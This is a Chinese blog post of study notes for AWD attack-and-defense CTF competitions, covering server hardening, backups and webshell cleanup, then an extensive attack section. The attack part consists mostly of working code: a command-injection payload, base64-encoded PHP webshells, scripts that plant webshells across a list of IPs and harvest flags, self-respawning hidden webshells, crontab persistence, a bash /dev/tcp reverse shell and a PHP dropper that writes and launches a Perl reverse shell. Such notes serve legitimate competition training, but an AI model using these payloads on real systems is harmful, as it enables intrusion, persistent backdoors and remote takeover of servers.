AWD学习(二)
学习参考:
AWD攻防学习总结(草稿状态,待陆续补充)_awd攻防赛入门-CSDN博客
国赛分区赛awd赛后总结-安心做awd混子-安全客 - 安全资讯平台记第一次 AWD 赛前准备与赛后小结-腾讯云开发者社区-腾讯云
AWD学习笔记 - DiaosSama's Blog
防御阶段
1.修改各口令密码
(1)修改ssh弱口令:
$ passwd
(2)数据库root口令: 先更改配置文件 connect.php,再使用命令修改:
$ mysql -u root -p
Enter password:
mysql> set password for root@localhost = password('linelineline');
// root=用户名;linelineline=新密码;
修改完 mysql 相关部分后,习惯性使用命令应用修改:
flush privileges;
2.源码备份还原
可以使用Xftp直接拖
tar
备份:
cd /var/www/html
tar -zcvf ~/html.tar.gz *
还原:
rm -rf /var/www/html
tar -zxvf ~/html.tar.gz -C /var/www/html
2.数据库备份还原
$ mysqldump -u root -p wlgf > backup.sql
$ mysql -u root -p wlgf < backup.sql$ mysqldump —all-databases > 1.sql //备份所有数据库
$ mysql -u username -p < 1.sql //还原所有数据库
备份后,如果遇到wlgf数据库被删除的情况:
先进入mysql创建 wlgf 数据库,刷新之后 再恢复
mysql> CREATE DATABASE wlgf;
mysql> flush privileges;
代码审计:Fortify、Seay
[ 代码审计篇 ] Fortify 安装及使用详解(一)
Fortify 是一个静态的、白盒的软件源代码安全测试工具。它通过内置的五大主要分析引擎:数据流、语义、结构、控制流、配置流等对应用软件的源代码进行静态的分析,通过与软件安全漏洞规则集进行匹配、查找,从而将源代码中存在的安全漏洞扫描出来,并可导出报告。扫描的结果中包括详细的安全漏洞信息、相关的安全知识、修复意见。
使用页面如下:
实用命令
- 查找可能的password
cd /var/www/html find .|xargs grep "password"
- 查找后门
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
- 查找flag的位置
使用 `find / -name *flag*` 或 `grep -rn "flag" *` 类似的语句可以快速发现 flag 所在的地方,方便后续拿分
- 检查有没有多余无用端口对外开放
netstat -anptl
克制不死马
1.强行kill掉进程后重启服务(不建议)
ps -aux|grep ‘www-data’|awk ‘{print $2}’|xargs kill -9
2.建立一个和不死马相同名字的文件或者目录,sleep短于不死马
<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.index.php';$code = 'hi!';//pass=passwhile (1){file_put_contents($file,$code);system('touch -m -d "2024-12-09 19:10:12" .index.php');// usleep(5000);usleep(1000);}
?>
3.写python脚本1.py不断删除
import os
import timedef create_and_delete_file(file_name, sleep_time):while True: # 无限循环try:# 创建名为“1.php”的文件with open(file_name, 'w') as file:file.write("<?php echo 'Hello, World!'; ?>")print(f"文件 {file_name} 已创建")# 短暂等待,时间可以根据需要调整time.sleep(sleep_time)# 删除文件os.remove(file_name)print(f"文件 {file_name} 已被删除")except Exception as e:print(f"发生错误: {e}")break # 如果发生异常,退出循环# 调用函数,创建和删除文件
create_and_delete_file("1.php", 0.5) # sleep时间为0.5
4.运行bash脚本
#!/bin/bash
while true
do
#kill -9 进程ID
rm -rf .test.php
done
5.条件竞争
#!/bin/bash
dire="/var/www/html/.test.php/"
file="/var/www/html/.test.php"
rm -rf $file
mkdir $dire
./xx.sh
杀弹反弹shell
查看进程
ps -ef
px -aux
ps -aux | grep www-data
注意 www-data
权限的 /bin/sh
,很有可能是nc
查找并终止特定进程:
kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'//结束命令
ps -aux | grep www-data | grep apache2 | awk '{print $2}' | xargs kill -9
文件监控
监听还原脚本‐>5分钟还原一次
使用本地py环境运行,需要更改sshIP及端口
import paramiko
import os
import timedef web_server_command(command,transport): #对服务器执行命令ssh = paramiko.SSHClient()ssh._transport = transportstdin, stdout, stderr = ssh.exec_command(command)# print(stdout.read())def web_server_file_action(ip, port, user, passwd, action): #对服务器文件操作try:transport = paramiko.Transport(ip, int(port))transport.connect(username=user, password=passwd)sftp = paramiko.SFTP.from_transport(transport)remote_path='/var/www/html/'remote_file = 'html.tar'local_path = 'C:/Users/'+os.getlogin()+'/Desktop/awd/'+ip+'/'web_server_command('cd '+remote_path+' && tar -cvf '+remote_file+' ./',transport)if not(os.path.exists(local_path)):os.makedirs(local_path)if action == 'get':sftp.get(remote_path+remote_file,local_path+remote_file)web_server_command('rm -rf '+remote_path+remote_file,transport)print('服务器源码保存在'+local_path)print('正在解压:')os.system('cd '+local_path+' & tar -xvf '+remote_file+' &del '+remote_file)print('文件解压完成')else:web_server_command('rm -rf '+remote_path+'*',transport)print('清理服务器web目录')os.system('cd '+local_path+' & tar -cvf '+remote_file+' ./*')sftp.put(local_path+remote_file, remote_path+remote_file)print('上传成功')web_server_command('cd '+remote_path+'&& tar -xvf '+remote_file+' && rm -rf '+remote_file,transport)print('还原完毕')print('-----------------------------')sftp.close()except:passprint('download or upload error')def web_server_mysql_action():#web_server_mysql_actionpass
def web_server_status():#web_server_statuspass
if __name__ == '__main__':web1_server_ip='10.241.180.159'web1_server_port='30021'web1_server_user='ctf'web1_server_passwd='123456'while(1): for i in range(5,0,-1):time.sleep(1)print('倒计时'+str(i)+'秒')web_server_file_action(web1_server_ip,web1_server_port,web1_server_user,web1_server_passwd, 'put')
攻击阶段
nmap扫描端口后,win+alt 选择性粘贴
nmap 172.16.17.202 -p10000-20000
后门任意命令执行
D盾扫出任意命令执行后门,这个预留后门也是最简单的可以碰碰运气打一下看看有没有没修的
news.php
这个漏洞一般都会修的,通过它初步学习一下写马方法
GET传参?id=1(大于1的数字)
// 如果GET请求中存在名为'id'的参数
if(isset($_GET['id'])){$_html['id']=$_GET['id']; // 将这个参数的值赋给变量$_html的'id'键// 如果'id'为空,不是数字,小于0,或者大于0但小于1if(empty($_html['id']) || !is_numeric($_html['id']) || $_html['id']<0 || ($_html['id']>0 && $_html['id']<1)){echo '<script type="text/javascript">alert("非法访问!");location.href="index.php";</script>';exit; }else{ // 如果'id'参数合法$_html['id']=intval($_html['id']); // 将'id'参数的值转换为整数}
}
// 如果GET请求中不存在名为'id'的参数
else{// 输出JavaScript代码,弹出警告框提示“非法访问!”,并将浏览器重定向到index.php页面echo '<script type="text/javascript">alert("非法访问!");location:index.php;</script>'; exit;
}
GET传参 zzz
构造payload,在源代码中得到flag
/news.php?id=3&zzz=cat /flag
通过命令执行执行上传一句话木马
可以通过命令执行执行上传一句话木马 <?php eval($_REQUEST['1']); ?>
//base64编码编写
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8+Cg==|base64 -d>>news.php
//+号被过滤,使用url的%2B代替
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8%2BCg==|base64 -d>>news.php//url编码编写
echo %3C?php%20eval($_REQUEST%5B'1'%5D);%20?%3E|url -d>>news.php
使用脚本批量上传
import requests# 定义payload
payload = "echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8%2BCg==|base64 -d>>news.php"# ip.txt文件中的每一行都是一个IP地址
with open('ip.txt', 'r') as file:ips = file.readlines()# 遍历IP地址列表
for ip in ips:# 去除换行符ip = ip.strip()# 构造完整的URLurl = f"http://{ip}/news.php?id=3&zzz={payload}"# 发送GET请求try:response = requests.get(url, timeout=5)print(f"Sent payload to {ip}, Status Code: {response.status_code}")except requests.exceptions.RequestException as e:print(f"Failed to send payload to {ip}, Error: {e}")
写入后通过HTTP请求执行任意PHP代码
/news.php?id=3&1=system('cat /flag');
脚本批量获取:
import requests
import re
import time# 使用with语句自动管理文件资源
with open(r'E:\AWD\second\jiaoben\ip.txt', 'r') as f:with open('flag0.txt', 'w') as flag_file: # 打开flag0.txt文件准备写入for ip in f:# 正确构造URLurl = 'http://' + ip.strip()path = "/news.php?id=1&1=system('cat%20/flag');" # 注意URL编码payload = url + pathtry:# 发送GET请求response = requests.get(payload)# 使用正则表达式搜索flagresult = re.search('[a-z0-9]{32}', response.text)if response.status_code == 200 and result:print(url, result.group())# 将找到的flag写入文件flag_file.write(result.group() + '\n') # 写入文件并添加换行符else:print(url, "There is no flag here")except requests.exceptions.RequestException as e:# 打印异常信息print(f"请求失败:{e}")# 等待5分钟(300秒)后再次执行print("等待5分钟...")time.sleep(300)
XSS
劫持流量实现恶意跳转
没啥实质攻击捣乱一下
可以在修改昵称处插入一句像这样的语句:
<script>window.location.href="http://www.baidu.com";</script>
那么访问/admin 时就会被跳转到百度的首页。
解决: 删除该用户即可
//具体操作:1.登录mysql数据库:mysql -u root -p
2.使用相关数据库(wlgf):use wlgf
3.查看数据库中所有表的名称:show tables;
4.查看表(user)中所有字段信息:SELECT * FROM user;
5.删除对应(id=3)用户:DELETE FROM user WHERE id = 3;删除id=2,id=3的用户:DELETE FROM users WHERE id IN (2, 3);
最后再查看表中信息,删除成功了,页面也恢复正常
SQL注入
python sqlmap.py -r "E:\bp\2.txt" --os-shell --batch--os-shell: 利用 SQL 注入漏洞来执行操作系统命令。获得一个交互式的 shell,可以在目标服务器上执行任意的操作系统命令。
抓包注入页面并保存文件,使用抓包文件进行注入(最准确)
使用Burp抓包,然后保存抓取到的内容到文件中,使用sqlmap -r 加载抓包文件,让sqlmap使用抓包文件中的数据来测试SQL注入漏洞,这种方式是最准确的
权限维持
一句话木马
简单易发现,也很容易被人利用
<?php eval(REQUEST['1']); ?> //php
<script language="php">eval($_POST['1']);</script>
<sCriPt>、<ScRiPt>、<Script> //大小写绕过
<scrscriptipt language="php">eval($_POST['1']);</scrscriptipt> //双写绕过
<%eval request("1")%> //asp
<% E=request("1");eval(E)%> //变形绕过安全检测
过盾一句话
不容易被发现,也不容易被其他队利用
<?php $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?>
可以改造成header返回的马,可以把这个一句话木马放到index.php中,直接访问index.php,从header中拿到flag。
<?php $a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);?>$a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);
MD5马
检查POST请求中名为'1'的参数的MD5哈希值,此处1=md5ma
<?php
echo 'hello';
if(md5($_POST['1'])=='6be79677ed2bf64cf4c11c53ac69e56e'){@eval($_POST['cmd']);
}
?>
不死马
- php file_put_contents写入不死马
file_put_contents('.1ndex.php',base64_decode('PD9waHAgIAogICAgc2V0X3RpbWVfbGltaXQoMCk7ICAKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOyAgCiAgICB1bmxpbmsoX19GSUxFX18pOyAgCiAgICB3aGlsZSgxKXsgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCcubG5kZXgucGhwJywnPD9waHAgaWYobWQ1KCRfR0VUWyIxIl0pPT0iNmJlNzk2NzdlZDJiZjY0Y2Y0YzExYzUzYWM2OWU1NmUiKXtAZXZhbCgkX1BPU1RbIjEiXSk7fSA/PicpOyAgCiAgICAgICAgc2xlZXAoMCk7ICAKICAgIH0KPz4='));
GET:1=md5ma
POST:1=system('ls');
- linux命令不死马
while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done
- php不死马
在AWD比赛中,不死马对于维持权限十分有效。将该php文件上传到服务器,然后进行访问,会在该路径下循环生成名字为 .index.php 的不死马隐藏文件
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){file_put_contents($file,$code);system('touch -m -d "2024-12-09 19:10:12" .index.php');usleep(5000);
}
?>#pass=pass
#密码 a
#文件名 .index.php .DS_story
直接访问:
GET:http://xxx.xxx.xxx.xxx:/.index.php?pass=pass
POST:a=system('cat /flag');
蚁剑连接:
http://xxx.xxx.xxx.xxx:/.index.php?pass=pass
菜刀参考:
-
开头的文件名
在 Linux 命令行中,各种命令会有许多的参数,所以,如果对这样方式命名的文件,执行任何命令,都会将这个文件当做参数来执行命令,没有该参数就会报错。导致什么命令都无法在这个不死马上执行,但是,在浏览器中连接访问是没问题的,依旧可以解析。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '-header.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_REQUEST["a"]);} ?>';
while (1){file_put_contents($file,$code);//system('touch -m -d "2024-12-09 19:10:12" .login.php');file_put_contents($file1,$code);usleep(5000);
}
?>
#pass=pass&a=system('cat /flag');
-
crontab写马
system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==\'1a1dc91c907325c69271ddf0c944bc72\'){@eval(\\\\\\\\\$_POST[1]);} \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');
pass=pass
密码:1
crontab -u www-data CRON_FILE
来指定用户运行指定的定时任务
反弹shell
bash反弹shell bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9 0>&1
nc反弹shell 本地 nc -l -p 8080
可以切换到bash命令去执行,但是会在root目录生成名为~/.bash_history的记录文件。
可以反弹 shell 的 php 脚本:
<?phpfunction which($pr) {$path = execute("which $pr");return ($path ? $path : $pr);}function execute($cfe) {$res = '';if ($cfe) {if(function_exists('exec')) {@exec($cfe,$res);$res = join("\n",$res);}elseif (function_exists('shell_exec')) {$res = @shell_exec($cfe);}elseif (function_exists('system')) {@ob_start();@system($cfe);$res = @ob_get_contents();@ob_end_clean();}elseif (function_exists('passthru')) {@ob_start();@passthru($cfe);$res = @ob_get_contents();@ob_end_clean();}elseif (@is_resource($f = @popen($cfe, "r"))) {$res = '';while(!@feof($f)) {$res .= @fread($f,1024);}@pclose($f);}}return $res;}function cf($fname, $text) {if($fp = @fopen($fname, 'w')) {@fputs($fp, @base64_decode($text));@fclose($fp);}}
$yourip = "xxx.xxx.xxx.xxx";
$yourport = '1024';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
使用方法:
将 shell 文件上传至可访问的地方,开启 nc 监听
nc -l -vv [port] #这里是 1024,可以自己设置
然后访问该文件,就成功反弹 shell
效果如下:
相关文章:
AWD学习(二)
学习参考: AWD攻防学习总结(草稿状态,待陆续补充)_awd攻防赛入门-CSDN博客国赛分区赛awd赛后总结-安心做awd混子-安全客 - 安全资讯平台 记第一次 AWD 赛前准备与赛后小结-腾讯云开发者社区-腾讯云 AWD学习笔记 - DiaosSamas Blog…...
VUE常见问题汇总
目录 1、80端口占用问题 2、sass版本安装问题 3、Missing binding node_modules/node-sass/vendor/darwin-x64-72/binding.node 4、Downloading binary from https://github.com/sass/node-sass/releases/download/v4.14.1/win32-x64-83_binding.node Cannot download &qu…...
H.323音视频协议
概述 H.323是国际电信联盟(ITU)的一个标准协议栈,该协议栈是一个有机的整体,根据功能可以将其分为四类协议,也就是说该协议从系统的总体框架(H.323)、视频编解码(H.263)、…...
第六届地博会开幕,世界酒中国菜美食文化节同期启幕推动地标发展
第六届知交会暨地博会开幕,辽黔欧三地馆亮点纷呈,世界酒中国菜助力地理标志产品发展 第六届知交会暨地博会盛大开幕,多地展馆亮点频出,美食文化节同期启幕推动地标产业发展 12月9日,第六届粤港澳大湾区知识产权交易博…...
如何在安卓系统里面用C++写一个获取摄像头原始数据并保存成.yuv文件
在 Android 系统中使用 C 编写一个获取摄像头原始数据并保存为 .yuv 文件的程序,并且通过 Android.bp 编译,你需要结合 V4L2 和 Android NDK 的特性来实现。以下是详细的步骤和代码示例。 步骤 1: 设置权限 确保你的应用程序有访问摄像头的权限。在 An…...
算法分析与设计之分治算法
文章目录 前言一、分治算法divide and conquer1.1 分治定义1.2 分治法的复杂性分析:递归方程1.2.1 主定理1.2.2 递归树法1.2.3 迭代法 二、典型例题2.1 Mergesort2.2 Counting Inversions2.3 棋盘覆盖2.4 最大和数组2.5 Closest Pair of Points2.6 Karatsuba算法&am…...
AI大模型学习笔记|多目标算法梳理、举例
多目标算法学习内容推荐: 1.通俗易懂讲算法-多目标优化-NSGA-II(附代码讲解)_哔哩哔哩_bilibili 2.多目标优化 (python pyomo pareto 最优)_哔哩哔哩_bilibili 学习笔记: 通过网盘分享的文件:多目标算法学习笔记 链接: https://pan.baidu.com…...
【竞技宝】LOL:JDG官宣yagao离队
北京时间2024年12月13日,在英雄联盟S14全球总决赛结束之后,各大赛区都已经进入了休赛期,目前休赛期也快进入尾声,LPL大部分队伍都开始陆续官宣转会期的动向,其中JDG就在近期正式官宣中单选手yagao离队,而后者大概率将直接选择退役。 近日,JDG战队在官方微博上连续发布阵容变动消…...
iOS runtime总结数据结构,消息传递、转发和应用场景
runtime篇 首先看一下runtiem底层的数据结构 首先从objc_class这么一个结构体(数据结构)开始,objc_class继承于objc_object。 objc_object当中有一个成员变量叫isa_t,那么这个isa_t指针就指向一个objc_class类型的类对象ÿ…...
An error happened while trying to locate the file on the Hub and we cannot f
An error happened while trying to locate the file on the Hub and we cannot find the requested files in the local cache. Please check your connection and try again or make sure your Internet connection is on. 关于上述comfy ui使用control net预处理器的报错问…...
力扣刷题TOP101: 32.BM39 序列化二叉树
目录: 目的 思路 复杂度 记忆秘诀 python代码 目的: 请实现两个函数,分别用来序列化和反序列化二叉树,不对序列化之后的字符串进行约束,但要求能够根据序列化之后的字符串重新构造出一棵与原二叉树相同的树。 思路…...
modern-screenshot: 一个比html2canvas 性能更好的网页截屏工具
在低代码平台等设计工具中,生成缩略图是非常基础的功能,最开始我们使用的是 html2canvas 工具,但是带来的问题是这个工具非常吃性能,生成缩略图时间动辄6s以上,后来发现 modern-screenshot 这个工具性能会好一些&#…...
使用 GD32F470ZGT6,手写 I2C 的实现
我的代码:https://gitee.com/a1422749310/gd32_-official_-code I2C 具体代码位置:https://gitee.com/a1422749310/gd32_-official_-code/blob/master/Hardware/i2c/i2c.c 黑马 - I2C原理 官方 - IIC 协议介绍 个人学习过程中的理解,有错误&…...
力扣 53. 最大子数组和 (动态规划)
给你一个整数数组 nums ,请你找出一个具有最大和的连续子数组(子数组最少包含一个元素),返回其最大和。 子数组 是数组中的一个连续部分。 示例 1: 输入:nums [-2,1,-3,4,-1,2,1,-5,4] 输出:…...
【牛客小白月赛107 题解】
比赛链接 A. Cidoai的吃饭 题目大意 给定一个正整数 n n n,再给定三个正整数 a , b , c a, \ b, \ c a, b, c。初始时 a n s 0 ans 0 ans0。现在开始循环,每次循环按照从上到下的顺序选择第一条符合的执行(即执行完就再从 1. 1. 1. …...
Web day11 SpringBoot原理
目录 1.配置优先级: 2.Bean的管理: bean的作用域: 第三方bean: 方案一: 方案二: SpringBoot原理: 扫描第三方包: 方案1:ComponentScan 组件扫描 方案2࿱…...
JAVA实战:借助阿里云实现短信发送功能
亲爱的小伙伴们😘,在求知的漫漫旅途中,若你对深度学习的奥秘、JAVA 、PYTHON与SAP 的奇妙世界,亦或是读研论文的撰写攻略有所探寻🧐,那不妨给我一个小小的关注吧🥰。我会精心筹备,在…...
【C语言】库函数常见的陷阱与缺陷(3):内存分配函数
目录 一、malloc 函数 1.1. 功能与常见用法 1.2. 陷阱与缺陷 1.3. 安全使用建议 1.4. 安全替代和代码示例 二、calloc 函数 2.1. 功能与常见用法 2.2. 陷阱与缺陷 2.3. 安全使用建议 2.4. 安全替代和代码示例 三、realloc 函数 3.1. 功能与常见用法 3.2. 陷阱与缺…...
探索 Python 编程调试案例:程序平均值的修复过程
💝💝💝Python 作为一门广泛应用的编程语言,其编程过程并非总是一帆风顺。即使是经验丰富的程序员,也会在代码中遇到各种错误。而调试Python代码过程,也是学习中不可避免的步骤。 今天来看一个简单的案例。…...
奇奇怪怪的错误-Tag和space不兼容
报错信息如下: TabError: inconsistent use of tabs and spaces in indentation make: *** [Makefile:24: train] Error 1不能按Tab,要老老实实按space 不过可以在编辑器里面改,把它们调整成一致的;...
linux网络编程 | c | epoll实现IO多路转接服务器
epoll实现IO多路转接服务器 可通过以下视频学习 06-opell函数实现的多路IO转接_哔哩哔哩_bilibili 通过响应式–多路IO转接实现 文章目录 epoll实现IO多路转接服务器1.思路&功能核心思路 2.代码实现multi_epoll_sever.c运行图 1.思路&功能 **功能:**客…...
16-2.Java 反射之 setAccessible 方法详解(Java 访问检查、反射的访问检查、setAccessible())
一、Java 访问检查 1、基本介绍 访问检查就是查看成员使用是否符合访问权限(public、protected、default、private) 2、演示 Person.java package com.my.entity;public class People {private int privateVar 1;int defaultVar 2;protected int …...
颜色的基本处理
数码相机能够获取彩色图像,但相机的色彩处理是一个非常复杂的过程,是非常重要的。 此过程生产制造商在细节方面都是不公布的,但是基本的概念是相同的。当相机捕捉一个真实场景时,是怎么还原成人眼所看到的图像呢? 1.R…...
提升音频转录准确性:VAD技术的应用与挑战
引言 在音频转录技术飞速发展的今天,我们面临着一个普遍问题:在嘈杂环境中,转录系统常常将非人声误识别为人声,导致转录结果出现错误。例如,在whisper模式下,系统可能会错误地转录出“谢谢大家”。本文将探…...
3D一览通在线协同设计,助力汽车钣金件设计与制造数字化升级
汽车行业已迎来智能化的汹涌浪潮,在此背景下,零部件制造商唯有积极应对,以智能制造为核心驱动力,方能跟上行业发展步调,在激烈的市场竞争中抢占先机。作为整车制造不可或缺的核心组件之一,汽车钣金件亦需紧…...
C 进阶 — 字符函数和字符串函数 ( 二 )
C 进阶 — 字符函数和字符串函数 ( 二 ) 书接上回 C 进阶 — 字符函数和字符串函数 ( 一 ) 1.9 strtok 参考资料 strtok 函数用法详解 char * strtok ( char * str, const char * sep );strtok 是 [C 标准库](https://so.csdn.net/so/search?qC 标准库&spm1001.2101.3…...
【Qualcomm】IPQ5018查看连接终端RSSI、SNR、NF方法
IPQ5018 简介 IPQ5018 是高通(Qualcomm)公司推出的一款面向网络设备的系统级芯片(SoC)。它通常用于路由器、接入点和其他网络设备中,提供高性能的无线网络连接。以下是关于 IPQ5018 的一些关键特性和功能: 关键特性 高性能处理器 IPQ5018 集成了多核 CPU,通常是 ARM …...
Windows下编译安装FreeCAD 1.0.0
本文记录在Windows下编译安装FreeCAD 1.0.0的流程。 零、环境 操作系统Windows 11VS Code1.92.1Git2.34.1Visual StudioVisual Studio Community 2022CMake3.22.1 一、编译安装 1.1 安装依赖 从FreeCAD GitHub下载LibPack-1.0.0-v3.0.0-Release.7z,并解压。 1.2…...
Hadoop其一,介绍本地模式,伪分布模式和全分布搭建
目录 一、Hadoop介绍 二、HDFS的本地模式 三、伪分布模式 四、Hdfs中的shell命令 五、全分布搭建 六、使用Java代码操作HDFS 1、环境准备 2、单元测试(Junit)编辑 一、Hadoop介绍 Hadoop 分为三部分 : Common、HDFS 、Yarn、MapRe…...
蓝桥杯刷题——day3
蓝桥杯刷题——day3 题目一题干题目解析代码 题目二题干题目解析代码 题目一 题干 每张票据有唯一的 ID 号,全年所有票据的 ID 号是连续的,但 ID 的开始数码是随机选定的。因为工作人员疏忽,在录入 ID 号的时候发生了一处错误,造…...
【Leecode】Leecode刷题之路第79天之单词搜索
题目出处 79-单词搜索-题目出处 题目描述 个人解法 思路: todo代码示例:(Java) todo复杂度分析 todo官方解法 79-单词搜索-官方解法 方法1:回溯 思路: 代码示例:(Javaÿ…...
海康威视监控web实时预览解决方案
海康威视摄像头都试rtsp流,web页面无法加载播放,所以就得转换成web页面可以播放的hls、rtmp等数据流来播放。 一:萤石云 使用萤石云平台,把rtsp转化成ezopen协议,然后使用组件UIKit 最佳实践 萤石开放平台API文档 …...
virtualbox 搭建ubuntu
环境:VirtualBox-6.1.32 1、下载安装virtualbox 略 2、新建ubuntu 3、配置ubuntu 选择虚拟盘 4、安装ubuntu 5、安装ssh sudo apt install openssh-server openssh-client 查看ip 6、安装samba sudo apt install samba 查看ssh启动状态 sudo systemctl stat…...
RK3588开发笔记-Buildroot编译Qt5WebEngine-5.15.10
目录 前言 一、Qt5WebEngine简介 二、Qt5WebEngine编译 总结 前言 Rockchip RK3588是一款强大的多核处理器,广泛应用于边缘计算、人工智能、嵌入式系统等领域。为了在RK3588上运行自定义的Linux系统,并使用Qt5WebEngine进行Web内容渲染,Buildroot是一个非常合适的工具。本…...
FedAdam算法:供给方信用,数据质量;更新一致性
FedAdam算法:供给方信用,数据质量;更新一致性 FedAdam算法概述 FedAdam是一种联邦学习(Federated Learning)算法。联邦学习是一种机器学习技术,它允许在多个设备或数据中心(称为客户端)上训练模型,而无需将数据集中到一个中央服务器,从而保护数据隐私。FedAdam主要用于…...
webrtc音频模块(三) windows Core Audio API及声音的播放
在前面介绍了ADM(Audio Device Module),它用于抽象音频设备管理和音频数据采集/播放接口。windows的实现是AudioDeviceWinowCode,它封装了Core Audio APIs实现了对音频设备的操作。 Core Audio APIs windows提供了多种音频操作API,比如最常…...
使用ERA5数据绘制风向玫瑰图的简易流程
使用ERA5数据绘制风向玫瑰图的简易流程 今天需要做一个2017年-2023年的平均风向的统计,做一个风向玫瑰图,想到的还是高分辨率的ERA5land的数据(0.1分辨率,逐小时分辨率,1950年至今)。 风向,我分为了16个&…...
深度优先遍历(DFS)
深度优先遍历(DFS) 1. 计算布尔二叉树的值2. 求根节点到叶节点数字之和3.二叉树剪枝4.验证二叉搜索树5. 二叉搜索树中第 K 小的元素6. 二叉树的所有路径 深度优先遍历(DFS,全称为Depth First Traversal),是…...
国科大网络协议安全期末
完整资料仓库地址:https://gitee.com/etsuyou/UCAS-Network-Protocol-Security 部分题目: 六 论述题10*220 试讨论IPv6解决了IPv4的哪些“痛点”,以及IPv6存在的安全问题试比较IPsec与SSL的安全性 五 简答题5*315 简述MAC欺骗和ARP欺骗的…...
开源密码管理器 Bitwarden 一站式管理所有密码以及 2FA
本文首发于只抄博客,欢迎点击原文链接了解更多内容。 前言 随着注册的平台越来越多,管理密码的难度也越来越高了。要是把密码都设置成一样的,担心哪天某个平台泄露被一锅端,而每个平台单独一个密码又不太好记,这时候就…...
Python爬虫之Selenium的应用
【1】Selenium基础介绍 1.什么是selenium? (1)Selenium是一个用于Web应用程序测试的工具。 (2)Selenium 测试直接运行在浏览器中,就像真正的用户在操作一样。 (3)支持通过各种driv…...
华为无线AC、AP模式与上线解析(Huawei Wireless AC, AP Mode and Online Analysis)
华为无线AC、AP模式与上线解析 为了实现fit 瘦AP的集中式管理,我们需要统一把局域网内的所有AP上线到AC,由AC做集中式管理部署。这里我们需要理解CAPWAP协议,该协议分为两种报文:1、管理报文 2、数据报文。管理报文实际在抓包过程…...
k8s中用filebeat文件如何收集不同service的日志
以下是一个详细的从在 Kubernetes 集群中部署 Filebeat,到实现按web-oper、web-api微服务分离日志并存储到不同索引的完整方案: 理解需求:按服务分离日志索引 在 Kubernetes 集群中,有web-oper和web-api两种微服务,希…...
linux常用命令(cd、ls)
命令cd cd 是 Linux 系统中用于改变当前工作目录的命令。它是 "change directory" 的缩写。以下是关于 cd 命令的详细解释和使用方法: 基本用法 cd [目录路径]:将当前工作目录切换到指定的目录路径。 常用选项与示例 1、切换到指定目录 …...
Java实现一个带头节点的单链表
什么是单链表? 单链表是一种基础的数据结构,其中每个节点都包含两部分: 数据域:存储节点数据。指针域:存储指向下一个节点的引用。 为什么使用头节点? 头节点的存在简化了操作逻辑: 统一操作…...
代码随想录-算法训练营-番外(图论01:图论理论基础,所有可到达的路径)
day01 图论part01 今日任务:图论理论基础/所有可到达的路径 代码随想录图论视频部分还没更新 https://programmercarl.com/kamacoder/图论理论基础.html#图的基本概念 day01 所有可达路径 邻接矩阵 import java.util.Scanner;import java.util.List;import java.util.ArrayL…...
js:我要在template中v-for循环遍历这个centrerTopdata,我希望自循环前面三个就可以了怎么写
问: 我按在要在template中v-for循环遍历这个centrerTopdata,我希望自循环前面三个就可以了怎么写? 回答: 问: <div v-for"(item, index) in centrerTopdata.slice(0, 3)" :key"index"> d…...
软考高级架构 - 10.5 软件架构演化评估方法
10.4 软件架构演化原则总结 本节提出了18条架构演化的核心原则,并为每条原则设计了简单而有效的度量方法,用于从系统整体层面提供实用信息,帮助评估和指导架构演化。 演化成本控制:成本小于重新开发成本,经济高效。进…...
40 list类 模拟实现
目录 一、list类简介 (一)概念 (二)list与string和vector的区别 二、list类使用 (一)构造函数 (二)迭代器 (三)list capacity (四&#x…...
【原生js案例】如何实现一个穿透字体颜色的导航
